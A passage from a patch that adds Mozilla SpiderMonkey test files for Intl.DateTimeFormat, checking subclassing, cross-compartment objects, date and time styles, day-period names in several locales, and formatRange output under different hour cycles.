+assertEq(obj instanceof MyDateTimeFormat, true);
+assertEq(obj instanceof Intl.DateTimeFormat, true);
+assertEq(Object.getPrototypeOf(obj), MyDateTimeFormat.prototype);
+
+obj = Reflect.construct(MyDateTimeFormat, []);
+assertEq(obj instanceof MyDateTimeFormat, true);
+assertEq(obj instanceof Intl.DateTimeFormat, true);
+assertEq(Object.getPrototypeOf(obj), MyDateTimeFormat.prototype);
+
+obj = Reflect.construct(MyDateTimeFormat, [], MyDateTimeFormat);
+assertEq(obj instanceof MyDateTimeFormat, true);
+assertEq(obj instanceof Intl.DateTimeFormat, true);
+assertEq(Object.getPrototypeOf(obj), MyDateTimeFormat.prototype);
+
+obj = Reflect.construct(MyDateTimeFormat, [], Intl.DateTimeFormat);
+assertEq(obj instanceof MyDateTimeFormat, false);
+assertEq(obj instanceof Intl.DateTimeFormat, true);
+assertEq(Object.getPrototypeOf(obj), Intl.DateTimeFormat.prototype);
+
+
+// Set a different constructor as NewTarget.
+obj = Reflect.construct(MyDateTimeFormat, [], Array);
+assertEq(obj instanceof MyDateTimeFormat, false);
+assertEq(obj instanceof Intl.DateTimeFormat, false);
+assertEq(obj instanceof Array, true);
+assertEq(Object.getPrototypeOf(obj), Array.prototype);
+
+obj = Reflect.construct(Intl.DateTimeFormat, [], Array);
+assertEq(obj instanceof Intl.DateTimeFormat, false);
+assertEq(obj instanceof Array, true);
+assertEq(Object.getPrototypeOf(obj), Array.prototype);
+
+
+// The prototype defaults to %DateTimeFormatPrototype% if null.
+function NewTargetNullPrototype() {}
+NewTargetNullPrototype.prototype = null;
+
+obj = Reflect.construct(Intl.DateTimeFormat, [], NewTargetNullPrototype);
+assertEq(obj instanceof Intl.DateTimeFormat, true);
+assertEq(Object.getPrototypeOf(obj), Intl.DateTimeFormat.prototype);
+
+obj = Reflect.construct(MyDateTimeFormat, [], NewTargetNullPrototype);
+assertEq(obj instanceof MyDateTimeFormat, false);
+assertEq(obj instanceof Intl.DateTimeFormat, true);
+assertEq(Object.getPrototypeOf(obj), Intl.DateTimeFormat.prototype);
+
+
+// "prototype" property is retrieved exactly once.
+var trapLog = [], getLog = [];
+var ProxiedConstructor = new Proxy(Intl.DateTimeFormat, new Proxy({
+ get(target, propertyKey, receiver) {
+ getLog.push(propertyKey);
+ return Reflect.get(target, propertyKey, receiver);
+ }
+}, {
+ get(target, propertyKey, receiver) {
+ trapLog.push(propertyKey);
+ return Reflect.get(target, propertyKey, receiver);
+ }
+}));
+
+obj = Reflect.construct(Intl.DateTimeFormat, [], ProxiedConstructor);
+assertEqArray(trapLog, ["get"]);
+assertEqArray(getLog, ["prototype"]);
+assertEq(obj instanceof Intl.DateTimeFormat, true);
+assertEq(Object.getPrototypeOf(obj), Intl.DateTimeFormat.prototype);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/cross-compartment.js b/js/src/tests/non262/Intl/DateTimeFormat/cross-compartment.js
new file mode 100644
index 0000000000..dac99bdc19
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/cross-compartment.js
@@ -0,0 +1,70 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+var otherGlobal = newGlobal();
+
+var dateTimeFormat = new Intl.DateTimeFormat();
+var ccwDateTimeFormat = new otherGlobal.Intl.DateTimeFormat();
+
+// Test Intl.DateTimeFormat.prototype.format with a CCW object.
+var Intl_DateTimeFormat_format_get = Object.getOwnPropertyDescriptor(Intl.DateTimeFormat.prototype, "format").get;
+
+assertEq(Intl_DateTimeFormat_format_get.call(ccwDateTimeFormat)(0),
+ Intl_DateTimeFormat_format_get.call(dateTimeFormat)(0));
+
+// Test Intl.DateTimeFormat.prototype.formatToParts with a CCW object.
+var Intl_DateTimeFormat_formatToParts = Intl.DateTimeFormat.prototype.formatToParts;
+
+assertEq(deepEqual(Intl_DateTimeFormat_formatToParts.call(ccwDateTimeFormat, 0),
+ Intl_DateTimeFormat_formatToParts.call(dateTimeFormat, 0)),
+ true);
+
+// Test Intl.DateTimeFormat.prototype.resolvedOptions with a CCW object.
+var Intl_DateTimeFormat_resolvedOptions = Intl.DateTimeFormat.prototype.resolvedOptions;
+
+assertEq(deepEqual(Intl_DateTimeFormat_resolvedOptions.call(ccwDateTimeFormat),
+ Intl_DateTimeFormat_resolvedOptions.call(dateTimeFormat)),
+ true);
+
+// Special case for Intl.DateTimeFormat: The Intl fallback symbol.
+
+function fallbackSymbol(global) {
+ var DTF = global.Intl.DateTimeFormat;
+ return Object.getOwnPropertySymbols(DTF.call(Object.create(DTF.prototype)))[0];
+}
+
+const intlFallbackSymbol = fallbackSymbol(this);
+const otherIntlFallbackSymbol = fallbackSymbol(otherGlobal);
+assertEq(intlFallbackSymbol === otherIntlFallbackSymbol, false);
+
+// Test when the fallback symbol points to a CCW DateTimeFormat object.
+var objWithFallbackCCWDateTimeFormat = {
+ __proto__: Intl.DateTimeFormat.prototype,
+ [intlFallbackSymbol]: ccwDateTimeFormat,
+};
+
+assertEq(Intl_DateTimeFormat_format_get.call(objWithFallbackCCWDateTimeFormat)(0),
+ Intl_DateTimeFormat_format_get.call(dateTimeFormat)(0));
+
+assertEq(deepEqual(Intl_DateTimeFormat_resolvedOptions.call(objWithFallbackCCWDateTimeFormat),
+ Intl_DateTimeFormat_resolvedOptions.call(dateTimeFormat)),
+ true);
+
+// Ensure the fallback symbol(s) are not accessed for CCW DateTimeFormat objects.
+var ccwDateTimeFormatWithPoisonedFallback = new otherGlobal.Intl.DateTimeFormat();
+Object.setPrototypeOf(ccwDateTimeFormatWithPoisonedFallback, Intl.DateTimeFormat.prototype);
+Object.defineProperty(ccwDateTimeFormatWithPoisonedFallback, intlFallbackSymbol, {
+ get() { throw new Error(); }
+});
+Object.defineProperty(ccwDateTimeFormatWithPoisonedFallback, otherIntlFallbackSymbol, {
+ get() { throw new Error(); }
+});
+
+assertEq(Intl_DateTimeFormat_format_get.call(ccwDateTimeFormatWithPoisonedFallback)(0),
+ Intl_DateTimeFormat_format_get.call(dateTimeFormat)(0));
+
+assertEq(deepEqual(Intl_DateTimeFormat_resolvedOptions.call(ccwDateTimeFormatWithPoisonedFallback),
+ Intl_DateTimeFormat_resolvedOptions.call(dateTimeFormat)),
+ true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/dateTimeStyle.js b/js/src/tests/non262/Intl/DateTimeFormat/dateTimeStyle.js
new file mode 100644
index 0000000000..1dd4c35316
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/dateTimeStyle.js
@@ -0,0 +1,57 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Date style
+
+var dtf = new Intl.DateTimeFormat("en-US", {dateStyle: 'long'});
+assertEq(dtf.resolvedOptions().dateStyle, 'long');
+assertEq(dtf.resolvedOptions().hasOwnProperty('year'), false);
+assertEq(dtf.resolvedOptions().hasOwnProperty('month'), false);
+assertEq(dtf.resolvedOptions().hasOwnProperty('day'), false);
+
+// Time style
+
+var dtf = new Intl.DateTimeFormat("en-US", {timeStyle: 'long'});
+assertEq(dtf.resolvedOptions().timeStyle, 'long');
+assertEq(dtf.resolvedOptions().hasOwnProperty('hour'), false);
+assertEq(dtf.resolvedOptions().hasOwnProperty('minute'), false);
+assertEq(dtf.resolvedOptions().hasOwnProperty('second'), false);
+
+// Date/Time style
+
+var dtf = new Intl.DateTimeFormat("en-US", {dateStyle: 'medium', timeStyle: 'medium'});
+assertEq(dtf.resolvedOptions().timeStyle, 'medium');
+assertEq(dtf.resolvedOptions().dateStyle, 'medium');
+assertEq(dtf.resolvedOptions().hasOwnProperty('hour'), false);
+assertEq(dtf.resolvedOptions().hasOwnProperty('minute'), false);
+assertEq(dtf.resolvedOptions().hasOwnProperty('second'), false);
+assertEq(dtf.resolvedOptions().hasOwnProperty('year'), false);
+assertEq(dtf.resolvedOptions().hasOwnProperty('month'), false);
+assertEq(dtf.resolvedOptions().hasOwnProperty('day'), false);
+
+// Error when mixing date/timeStyle with other date-time options.
+
+assertThrowsInstanceOf(() => {
+ new Intl.DateTimeFormat("en-US", {dateStyle: 'medium', year: 'numeric'});
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ new Intl.DateTimeFormat("en-US", {timeStyle: 'medium', year: 'numeric'});
+}, TypeError);
+
+// Error when using dateStyle in toLocaleTimeString.
+
+assertThrowsInstanceOf(() => {
+ new Date().toLocaleTimeString("en-US", {dateStyle: 'long'});
+}, TypeError);
+
+// Error when using dateStyle in toLocaleDateString.
+
+assertThrowsInstanceOf(() => {
+ new Date().toLocaleDateString("en-US", {timeStyle: 'long'});
+}, TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/day-period-hour-cycle.js b/js/src/tests/non262/Intl/DateTimeFormat/day-period-hour-cycle.js
new file mode 100644
index 0000000000..594b262443
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/day-period-hour-cycle.js
@@ -0,0 +1,102 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||release_or_beta)
+
+const {
+ Year, Month, Day, DayPeriod, Hour, Minute, Literal
+} = DateTimeFormatParts;
+
+// If the locale defaults to a 24-hour-cycle, the "dayPeriod" option is ignored if an "hour" option
+// is also present, unless the hour-cycle is manually set to a 12-hour-cycle.
+
+const tests = [
+ {
+ date: new Date("2019-01-01T12:00:00"),
+ options: { dayPeriod: "short", hour: "numeric", },
+ locales: {
+ en: [Hour("12"), Literal(" "), DayPeriod("noon")],
+ de: [Hour("12"), Literal(" Uhr")],
+ },
+ },
+ {
+ date: new Date("2019-01-01T12:00:00"),
+ options: { dayPeriod: "short", hour: "numeric", hour12: true },
+ locales: {
+ en: [Hour("12"), Literal(" "), DayPeriod("noon")],
+ de: [Hour("12"), Literal(" "), DayPeriod("mittags")],
+ },
+ },
+ {
+ date: new Date("2019-01-01T12:00:00"),
+ options: { dayPeriod: "short", hour: "numeric", hour12: false },
+ locales: {
+ en: [Hour("12")],
+ de: [Hour("12"), Literal(" Uhr")],
+ },
+ },
+ {
+ date: new Date("2019-01-01T12:00:00"),
+ options: { dayPeriod: "short", hour: "numeric", hourCycle: "h12" },
+ locales: {
+ en: [Hour("12"), Literal(" "), DayPeriod("noon")],
+ de: [Hour("12"), Literal(" "), DayPeriod("mittags")],
+ },
+ },
+ {
+ date: new Date("2019-01-01T12:00:00"),
+ options: { dayPeriod: "short", hour: "numeric", hourCycle: "h11" },
+ locales: {
+ en: [Hour("0"), Literal(" "), DayPeriod("noon")],
+ de: [Hour("0"), Literal(" "), DayPeriod("mittags")],
+ },
+ },
+ {
+ date: new Date("2019-01-01T12:00:00"),
+ options: { dayPeriod: "short", hour: "numeric", hourCycle: "h23" },
+ locales: {
+ en: [Hour("12")],
+ de: [Hour("12"), Literal(" Uhr")],
+ },
+ },
+ {
+ date: new Date("2019-01-01T12:00:00"),
+ options: { dayPeriod: "short", hour: "numeric", hourCycle: "h24" },
+ locales: {
+ en: [Hour("12")],
+ de: [Hour("12"), Literal(" Uhr")],
+ },
+ },
+
+ // The default hour-cycle is irrelevant when an "hour" option isn't present.
+ {
+ date: new Date("2019-01-01T12:00:00"),
+ options: { dayPeriod: "short", day: "numeric", month: "numeric", year: "numeric" },
+ locales: {
+ en: [Month("1"), Literal("/"), Day("1"), Literal("/"), Year("2019"), Literal(", "), DayPeriod("noon")],
+ de: [Day("1"), Literal("."), Month("1"), Literal("."), Year("2019"), Literal(", "), DayPeriod("mittags")],
+ },
+ },
+
+ // ICU replacement pattern for missing <appendItem> entries in CLDR.
+ {
+ date: new Date("2019-01-01T12:00:00"),
+ options: { dayPeriod: "short", minute: "numeric" },
+ locales: {
+ en: [Minute("0"), Literal(" (AM/PM: "), DayPeriod("noon"), Literal(")")],
+ de: [Minute("0"), Literal(" (Tageshälfte: "), DayPeriod("mittags"), Literal(")")],
+ },
+ },
+];
+
+for (let {date, options, locales} of tests) {
+ for (let [locale, parts] of Object.entries(locales)) {
+ let dtf = new Intl.DateTimeFormat(locale, options);
+
+ assertEq(dtf.format(date), parts.map(({value}) => value).join(""),
+ `locale=${locale}, date=${date}, options=${JSON.stringify(options)}`);
+
+ assertDeepEq(dtf.formatToParts(date), parts,
+ `locale=${locale}, date=${date}, options=${JSON.stringify(options)}`);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/day-period-standalone.js b/js/src/tests/non262/Intl/DateTimeFormat/day-period-standalone.js
new file mode 100644
index 0000000000..e888643f1f
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/day-period-standalone.js
@@ -0,0 +1,160 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||release_or_beta)
+
+// Tests using various locales to cover all day period types:
+// "midnight", "noon", "morning1", "morning2", "afternoon1", "afternoon2",
+// "evening1", "evening2", "night1", "night2".
+
+const tests = [
+ {
+ // ICU doesn't support "midnight" and instead uses "night1" resp. "night2".
+ // ICU bug: https://unicode-org.atlassian.net/projects/ICU/issues/ICU-12278
+ date: new Date("2019-01-01T00:00:00"),
+ locales: {
+ en: { narrow: "at night", short: "at night", long: "at night" },
+ de: { narrow: "nachts", short: "nachts", long: "nachts" },
+ th: { narrow: "กลางคืน", short: "กลางคืน", long: "กลางคืน" },
+ ja: { narrow: "夜中", short: "夜中", long: "夜中" },
+ }
+ },
+ {
+ date: new Date("2019-01-01T03:00:00"),
+ locales: {
+ en: { narrow: "at night", short: "at night", long: "at night" },
+ de: { narrow: "nachts", short: "nachts", long: "nachts" },
+ th: { narrow: "กลางคืน", short: "กลางคืน", long: "กลางคืน" },
+ ja: { narrow: "夜中", short: "夜中", long: "夜中" },
+ }
+ },
+ {
+ date: new Date("2019-01-01T04:00:00"),
+ locales: {
+ en: { narrow: "at night", short: "at night", long: "at night" },
+ de: { narrow: "nachts", short: "nachts", long: "nachts" },
+ th: { narrow: "กลางคืน", short: "กลางคืน", long: "กลางคืน" },
+ ja: { narrow: "朝", short: "朝", long: "朝" },
+ }
+ },
+ {
+ date: new Date("2019-01-01T05:00:00"),
+ locales: {
+ en: { narrow: "at night", short: "at night", long: "at night" },
+ de: { narrow: "morgens", short: "morgens", long: "morgens" },
+ th: { narrow: "กลางคืน", short: "กลางคืน", long: "กลางคืน" },
+ ja: { narrow: "朝", short: "朝", long: "朝" },
+ }
+ },
+ {
+ date: new Date("2019-01-01T06:00:00"),
+ locales: {
+ en: { narrow: "in the morning", short: "in the morning", long: "in the morning" },
+ de: { narrow: "morgens", short: "morgens", long: "morgens" },
+ th: { narrow: "เช้า", short: "ในตอนเช้า", long: "ในตอนเช้า" },
+ ja: { narrow: "朝", short: "朝", long: "朝" },
+ }
+ },
+ {
+ date: new Date("2019-01-01T10:00:00"),
+ locales: {
+ en: { narrow: "in the morning", short: "in the morning", long: "in the morning" },
+ de: { narrow: "vorm.", short: "vorm.", long: "vormittags" },
+ th: { narrow: "เช้า", short: "ในตอนเช้า", long: "ในตอนเช้า" },
+ ja: { narrow: "朝", short: "朝", long: "朝" },
+ }
+ },
+ {
+ date: new Date("2019-01-01T12:00:00"),
+ locales: {
+ en: { narrow: "n", short: "noon", long: "noon" },
+ de: { narrow: "mittags", short: "mittags", long: "mittags" },
+ th: { narrow: "เที่ยง", short: "เที่ยง", long: "เที่ยง" },
+ ja: { narrow: "正午", short: "正午", long: "正午" },
+ }
+ },
+ {
+ date: new Date("2019-01-01T13:00:00"),
+ locales: {
+ en: { narrow: "in the afternoon", short: "in the afternoon", long: "in the afternoon" },
+ de: { narrow: "nachm.", short: "nachm.", long: "nachmittags" },
+ th: { narrow: "บ่าย", short: "บ่าย", long: "บ่าย" },
+ ja: { narrow: "昼", short: "昼", long: "昼" },
+ }
+ },
+ {
+ date: new Date("2019-01-01T15:00:00"),
+ locales: {
+ en: { narrow: "in the afternoon", short: "in the afternoon", long: "in the afternoon" },
+ de: { narrow: "nachm.", short: "nachm.", long: "nachmittags" },
+ th: { narrow: "บ่าย", short: "บ่าย", long: "บ่าย" },
+ ja: { narrow: "昼", short: "昼", long: "昼" },
+ }
+ },
+ {
+ date: new Date("2019-01-01T16:00:00"),
+ locales: {
+ en: { narrow: "in the afternoon", short: "in the afternoon", long: "in the afternoon" },
+ de: { narrow: "nachm.", short: "nachm.", long: "nachmittags" },
+ th: { narrow: "เย็น", short: "ในตอนเย็น", long: "ในตอนเย็น" },
+ ja: { narrow: "夕方", short: "夕方", long: "夕方" },
+ }
+ },
+ {
+ date: new Date("2019-01-01T18:00:00"),
+ locales: {
+ en: { narrow: "in the evening", short: "in the evening", long: "in the evening" },
+ de: { narrow: "abends", short: "abends", long: "abends" },
+ th: { narrow: "ค่ำ", short: "ค่ำ", long: "ค่ำ" },
+ ja: { narrow: "夕方", short: "夕方", long: "夕方" },
+ }
+ },
+ {
+ date: new Date("2019-01-01T19:00:00"),
+ locales: {
+ en: { narrow: "in the evening", short: "in the evening", long: "in the evening" },
+ de: { narrow: "abends", short: "abends", long: "abends" },
+ th: { narrow: "ค่ำ", short: "ค่ำ", long: "ค่ำ" },
+ ja: { narrow: "夜", short: "夜", long: "夜" },
+ }
+ },
+ {
+ date: new Date("2019-01-01T21:00:00"),
+ locales: {
+ en: { narrow: "at night", short: "at night", long: "at night" },
+ de: { narrow: "abends", short: "abends", long: "abends" },
+ th: { narrow: "กลางคืน", short: "กลางคืน", long: "กลางคืน" },
+ ja: { narrow: "夜", short: "夜", long: "夜" },
+ }
+ },
+ {
+ date: new Date("2019-01-01T22:00:00"),
+ locales: {
+ en: { narrow: "at night", short: "at night", long: "at night" },
+ de: { narrow: "abends", short: "abends", long: "abends" },
+ th: { narrow: "กลางคืน", short: "กลางคืน", long: "กลางคืน" },
+ ja: { narrow: "夜", short: "夜", long: "夜" },
+ }
+ },
+ {
+ date: new Date("2019-01-01T23:00:00"),
+ locales: {
+ en: { narrow: "at night", short: "at night", long: "at night" },
+ de: { narrow: "abends", short: "abends", long: "abends" },
+ th: { narrow: "กลางคืน", short: "กลางคืน", long: "กลางคืน" },
+ ja: { narrow: "夜中", short: "夜中", long: "夜中" },
+ }
+ },
+];
+
+for (let {date, locales} of tests) {
+ for (let [locale, formats] of Object.entries(locales)) {
+ for (let [dayPeriod, expected] of Object.entries(formats)) {
+ let dtf = new Intl.DateTimeFormat(locale, {dayPeriod});
+
+ assertEq(dtf.format(date), expected,
+ `locale=${locale}, date=${date}, dayPeriod=${dayPeriod}`);
+ assertDeepEq(dtf.formatToParts(date), [{type: "dayPeriod", value: expected}]);
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/day-period.js b/js/src/tests/non262/Intl/DateTimeFormat/day-period.js
new file mode 100644
index 0000000000..c21890e1b4
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/day-period.js
@@ -0,0 +1,40 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||release_or_beta)
+
+const {
+ Weekday, DayPeriod, Literal
+} = DateTimeFormatParts;
+
+const tests = [
+ // https://unicode-org.atlassian.net/browse/ICU-20741
+ {
+ date: new Date("2019-01-01T12:00:00"),
+ options: { dayPeriod: "long", weekday: "long", },
+ locales: {
+ "en-001": [Weekday("Tuesday"), Literal(", "), DayPeriod("noon")],
+ },
+ },
+
+ // https://unicode-org.atlassian.net/browse/ICU-20740
+ {
+ date: new Date("2019-01-01T12:00:00"),
+ options: { dayPeriod: "narrow", weekday: "long", },
+ locales: {
+ "bs-Cyrl": [Weekday("уторак"), Literal(" "), DayPeriod("подне")],
+ },
+ },
+];
+
+for (let {date, options, locales} of tests) {
+ for (let [locale, parts] of Object.entries(locales)) {
+ let dtf = new Intl.DateTimeFormat(locale, options);
+
+ assertEq(dtf.format(date), parts.map(({value}) => value).join(""),
+ `locale=${locale}, date=${date}, options=${JSON.stringify(options)}`);
+
+ assertDeepEq(dtf.formatToParts(date), parts,
+ `locale=${locale}, date=${date}, options=${JSON.stringify(options)}`);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/format.js b/js/src/tests/non262/Intl/DateTimeFormat/format.js
new file mode 100644
index 0000000000..2b1d23365f
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/format.js
@@ -0,0 +1,47 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Tests the format function with a diverse set of locales and options.
+// Always use UTC to avoid dependencies on test environment.
+
+var format;
+var date = Date.UTC(2012, 11, 12, 3, 0, 0);
+var longFormatOptions = {timeZone: "UTC",
+ year: "numeric", month: "long", day: "numeric",
+ hour: "numeric", minute: "numeric", second: "numeric"};
+
+// Locale en-US; default options.
+format = new Intl.DateTimeFormat("en-us", {timeZone: "UTC"});
+assertEq(format.format(date), "12/12/2012");
+
+// Locale th-TH; default options.
+// Thailand uses the Buddhist calendar.
+format = new Intl.DateTimeFormat("th-th", {timeZone: "UTC"});
+assertEq(format.format(date), "12/12/2555");
+
+// Locale th-TH; long format, Thai digits.
+format = new Intl.DateTimeFormat("th-th-u-nu-thai", longFormatOptions);
+assertEq(format.format(date), "๑๒ ธันวาคม ๒๕๕๕ ๐๓:๐๐:๐๐");
+
+// Locale ja-JP; long format.
+format = new Intl.DateTimeFormat("ja-jp", longFormatOptions);
+assertEq(format.format(date), "2012年12月12日 3:00:00");
+
+// Locale ar-MA; long format, Islamic civilian calendar.
+format = new Intl.DateTimeFormat("ar-ma-u-ca-islamicc", longFormatOptions);
+assertEq(format.format(date), "28 محرم 1434 هـ 03:00:00");
+
+// Locale en-IE: timeZoneName for crash test
+format = new Intl.DateTimeFormat("en-IE", {timeZone: "UTC", timeZoneName: "short"});
+assertEq(format.format(date), "12/12/2012, UTC");
+
+// Test the .name property of the "format" getter.
+var desc = Object.getOwnPropertyDescriptor(Intl.DateTimeFormat.prototype, "format");
+assertEq(desc !== undefined, true);
+assertEq(typeof desc.get, "function");
+assertEq(desc.get.name, "get format");
+
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/formatRange-gregorian-proleptic.js b/js/src/tests/non262/Intl/DateTimeFormat/formatRange-gregorian-proleptic.js
new file mode 100644
index 0000000000..1423b0fdf3
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/formatRange-gregorian-proleptic.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||release_or_beta)
+
+// Ensure formatRange() uses a proleptic Gregorian calendar.
+// ICU bug: https://unicode-org.atlassian.net/browse/ICU-20705
+
+let dtf = new Intl.DateTimeFormat("en", {timeZone: "UTC"});
+
+// The Gregorian calendar was first introduced in 15 October 1582.
+const firstGregorian = new Date("1582-10-15");
+assertEq(dtf.formatRange(firstGregorian, firstGregorian), dtf.format(firstGregorian));
+
+// To deal with the ten days' difference between the Julian and the Gregorian calendar, some days
+// were skipped, so that 4 October 1582 was followed by 15 October 1582.
+const lastJulian = new Date("1582-10-04");
+assertEq(dtf.formatRange(lastJulian, lastJulian), dtf.format(lastJulian));
+
+function rangePart(source, parts) {
+ return parts.filter(x => x.source === source).map(x => x.value).join("");
+}
+
+// Test with non-empty range.
+assertEq(rangePart("startRange", dtf.formatRangeToParts(lastJulian, firstGregorian)),
+ dtf.format(lastJulian));
+assertEq(rangePart("endRange", dtf.formatRangeToParts(lastJulian, firstGregorian)),
+ dtf.format(firstGregorian));
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/formatRange-hour-cycle.js b/js/src/tests/non262/Intl/DateTimeFormat/formatRange-hour-cycle.js
new file mode 100644
index 0000000000..c835bb9d06
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/formatRange-hour-cycle.js
@@ -0,0 +1,448 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||release_or_beta)
+
+// Test formatRange supports the different hour-cycle options.
+//
+// ICU bugs:
+// https://unicode-org.atlassian.net/browse/ICU-21154
+// https://unicode-org.atlassian.net/browse/ICU-21155
+// https://unicode-org.atlassian.net/browse/ICU-21156
+
+// Test locales which default to a 12-hour and a 24-hour clock.
+
+let tests = {
+ "en": [
+ // Midnight to morning.
+ {
+ start: 0,
+ end: 10,
+ data: [
+ "12 – 10 AM",
+ "0 AM – 10 AM", // This result, along with others in this file, is caused by ICU-21156.
+ "12 – 10 AM",
+ "00 – 10",
+ "24 – 10",
+ ],
+ },
+ // Midnight to noon.
+ {
+ start: 0,
+ end: 12,
+ data: [
+ "12 AM – 12 PM",
+ "0 AM – 0 PM",
+ "12 AM – 12 PM",
+ "00 – 12",
+ "24 – 12",
+ ],
+ },
+ // Midnight to evening.
+ {
+ start: 0,
+ end: 22,
+ data: [
+ "12 AM – 10 PM",
+ "0 AM – 10 PM",
+ "12 AM – 10 PM",
+ "00 – 22",
+ "24 – 22",
+ ],
+ },
+ // Midnight to midnight.
+ {
+ start: 0,
+ end: 24,
+ data: [
+ "1/1/1970, 12 AM – 1/2/1970, 12 AM",
+ "1/1/1970, 0 AM – 1/2/1970, 0 AM",
+ "1/1/1970, 12 AM – 1/2/1970, 12 AM",
+ "1/1/1970, 00 – 1/2/1970, 00",
+ "1/1/1970, 24 – 1/2/1970, 24",
+ ],
+ },
+
+ // Morning to morning.
+ {
+ start: 1,
+ end: 10,
+ data: [
+ "1 – 10 AM",
+ "1 AM – 10 AM",
+ "1 – 10 AM",
+ "01 – 10",
+ "01 – 10",
+ ],
+ },
+ // Morning to noon.
+ {
+ start: 1,
+ end: 12,
+ data: [
+ "1 AM – 12 PM",
+ "1 AM – 0 PM",
+ "1 AM – 12 PM",
+ "01 – 12",
+ "01 – 12",
+ ],
+ },
+ // Morning to evening.
+ {
+ start: 1,
+ end: 22,
+ data: [
+ "1 AM – 10 PM",
+ "1 AM – 10 PM",
+ "1 AM – 10 PM",
+ "01 – 22",
+ "01 – 22",
+ ],
+ },
+ // Morning to midnight.
+ {
+ start: 1,
+ end: 24,
+ data: [
+ "1/1/1970, 1 AM – 1/2/1970, 12 AM",
+ "1/1/1970, 1 AM – 1/2/1970, 0 AM",
+ "1/1/1970, 1 AM – 1/2/1970, 12 AM",
+ "1/1/1970, 01 – 1/2/1970, 00",
+ "1/1/1970, 01 – 1/2/1970, 24",
+ ],
+ },
+
+ // Noon to morning.
+ {
+ start: 12,
+ end: 24 + 1,
+ data: [
+ "1/1/1970, 12 PM – 1/2/1970, 1 AM",
+ "1/1/1970, 0 PM – 1/2/1970, 1 AM",
+ "1/1/1970, 12 PM – 1/2/1970, 1 AM",
+ "1/1/1970, 12 – 1/2/1970, 01",
+ "1/1/1970, 12 – 1/2/1970, 01",
+ ],
+ },
+ // Noon to noon.
+ {
+ start: 12,
+ end: 24 + 12,
+ data: [
+ "1/1/1970, 12 PM – 1/2/1970, 12 PM",
+ "1/1/1970, 0 PM – 1/2/1970, 0 PM",
+ "1/1/1970, 12 PM – 1/2/1970, 12 PM",
+ "1/1/1970, 12 – 1/2/1970, 12",
+ "1/1/1970, 12 – 1/2/1970, 12",
+ ],
+ },
+ // Noon to evening.
+ {
+ start: 12,
+ end: 22,
+ data: [
+ "12 – 10 PM",
+ "0 PM – 10 PM",
+ "12 – 10 PM",
+ "12 – 22",
+ "12 – 22",
+ ],
+ },
+ // Noon to midnight.
+ {
+ start: 12,
+ end: 24,
+ data: [
+ "1/1/1970, 12 PM – 1/2/1970, 12 AM",
+ "1/1/1970, 0 PM – 1/2/1970, 0 AM",
+ "1/1/1970, 12 PM – 1/2/1970, 12 AM",
+ "1/1/1970, 12 – 1/2/1970, 00",
+ "1/1/1970, 12 – 1/2/1970, 24",
+ ],
+ },
+
+ // Evening to morning.
+ {
+ start: 22,
+ end: 24 + 1,
+ data: [
+ "1/1/1970, 10 PM – 1/2/1970, 1 AM",
+ "1/1/1970, 10 PM – 1/2/1970, 1 AM",
+ "1/1/1970, 10 PM – 1/2/1970, 1 AM",
+ "1/1/1970, 22 – 1/2/1970, 01",
+ "1/1/1970, 22 – 1/2/1970, 01",
+ ],
+ },
+ // Evening to noon.
+ {
+ start: 22,
+ end: 24 + 12,
+ data: [
+ "1/1/1970, 10 PM – 1/2/1970, 12 PM",
+ "1/1/1970, 10 PM – 1/2/1970, 0 PM",
+ "1/1/1970, 10 PM – 1/2/1970, 12 PM",
+ "1/1/1970, 22 – 1/2/1970, 12",
+ "1/1/1970, 22 – 1/2/1970, 12",
+ ],
+ },
+ // Evening to evening.
+ {
+ start: 22,
+ end: 23,
+ data: [
+ "10 – 11 PM",
+ "10 PM – 11 PM",
+ "10 – 11 PM",
+ "22 – 23",
+ "22 – 23",
+ ],
+ },
+ // Evening to midnight.
+ {
+ start: 22,
+ end: 24,
+ data: [
+ "1/1/1970, 10 PM – 1/2/1970, 12 AM",
+ "1/1/1970, 10 PM – 1/2/1970, 0 AM",
+ "1/1/1970, 10 PM – 1/2/1970, 12 AM",
+ "1/1/1970, 22 – 1/2/1970, 00",
+ "1/1/1970, 22 – 1/2/1970, 24",
+ ],
+ },
